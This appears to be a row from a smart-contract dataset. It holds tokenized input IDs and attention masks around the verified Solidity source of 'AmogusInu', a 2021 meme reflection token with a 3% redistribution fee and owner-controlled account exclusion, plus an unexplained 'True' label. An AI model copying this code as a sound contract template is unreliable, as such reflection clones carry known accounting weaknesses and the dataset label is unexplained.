1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
/**
╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━━╮
┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰┫┣╯
┃┃╱┃┣╮╭┳━━┳━━┳╮╭┳━━╮┃┃╭━╮╭╮╭╮
┃╰━╯┃╰╯┃╭╮┃╭╮┃┃┃┃━━┫┃┃┃╭╮┫┃┃┃
┃╭━╮┃┃┃┃╰╯┃╰╯┃╰╯┣━━┣┫┣┫┃┃┃╰╯┃
╰╯╱╰┻┻┻┻━━┻━╮┣━━┻━━┻━━┻╯╰┻━━╯
╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╰━━╯
*/
// "don't be sus, buy amogus"
//Set slippage >3% for to pay for redistribution!
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity\contracts\utils\Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.2;
contract AmogusInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'AmogusInu';
string private _symbol = 'AMOGUS';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function amogus() public pure returns(string memory){
return ("very sus");
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(3).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2656,
1008,
1013,
1013,
1008,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
1013,
1013,
1000,
2123,
1005,
1056,
2022,
10514,
2015,
1010,
4965,
2572,
8649,
2271,
1000,
1013,
1013,
2275,
7540,
13704,
1028,
1017,
1003,
2005,
2000,
3477,
2005,
25707,
999,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
